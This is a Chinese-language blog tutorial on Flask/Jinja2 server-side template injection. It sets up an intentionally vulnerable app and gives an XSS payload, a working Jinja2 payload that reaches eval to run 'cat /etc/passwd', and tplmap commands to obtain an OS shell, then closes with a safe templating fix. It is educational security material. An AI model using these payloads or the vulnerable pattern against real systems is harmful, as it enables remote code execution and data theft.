我的博客:acsec.xyz 微信公众号: Ac sec
一.概述
SSTI即服务端模板注入,是指用户输入的参数被服务端当成模板语言进行了渲染,从而导致代码执行。
1.Flask
Flask是一个基于python开发的web 框架。也就是说 Flask 为你提供工具,库和技术来允许你构建一个web应用程序。这个wdb应用程序可以使一些 web 页面、博客、wiki或商业网站。 Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架。这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug,缺点是,你不得不自己做更多的工作,或通过添加插件增加自己的依赖列表。Flask 的依赖如下: Werkzeug(一个WSGI工具包) jinja2(模板引擎)
2.Jinja 2
- Jinja2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的;
- Jinja2是Flask框架的一部分,Jinja2会把模板参数提供的相应的值替换了 { { … } } ;
- Jinja2模板同样支持控制语句,比如在 { % % } 中。
3.魔术方法
_ _ class_ _ 返回类型所属的对象 _ _ mro_ _ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 _ _ base_ _ 返回该对象所继承的基类 // base 和mro都是用来寻找基类的 _ _ subclasses_ _ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表 _ _ init_ _ 类的初始化方法 _ _ globals_ _ 对包含函数全局变量的字典的引用
二.利用
1.环境搭建
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
Template()完全可控,可以通过name传参直接写入jinja2的模板语言
运行代码,访问http://127.0.0.1:5000。
2.插入xss脚本
http://127.0.0.1:5000/?name=<script>alert(1)</script>
3.乘法运算
http://127.0.0.1:5000/?name={{2*8}}
4.命令执行
cat /etc/passwd
http://127.0.0.1:5000/?name=
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /etc/passwd").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
whoami
更改popen()中的内容即可
5.使用工具tplmap注入
安装
git clone https://github.com/epinna/tplmap
pip3 install -r requirements.txt
使用
python tplmap.py -u 'http://127.0.0.1:5000?name=1' //检测漏洞
python tplmap.py -u 'http://127.0.0.1:5000?name=1' --os-shell //获得shell
三.防护
可以修改flask的修饰器@app.route("/ly0n")
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/ly0n")
def safe():
name = request.args.get('name', 'guest')
t = Template("Hello {{n}}")
return t.render(n=name)
if __name__ == "__main__":
app.run()
原理:将其路由到/ly0n页面进行访问测试,原本存在的代码注入漏洞就不存在了。
为了防止此类漏洞,应该像使用eval()函数一样处理字符串加载功能,尽可能加载静态模板文件。
此功能类似于require()函数调用。因此,应该防止本地文件包含(LFI)漏洞,不要允许用户控制此类文件或其内容的路径。
无论在何时,如果需要将动态数据传递给模板,不要直接在模板文件中执行,可以使用模板引擎的内置功能来扩展表达式,实现同样的效果。
|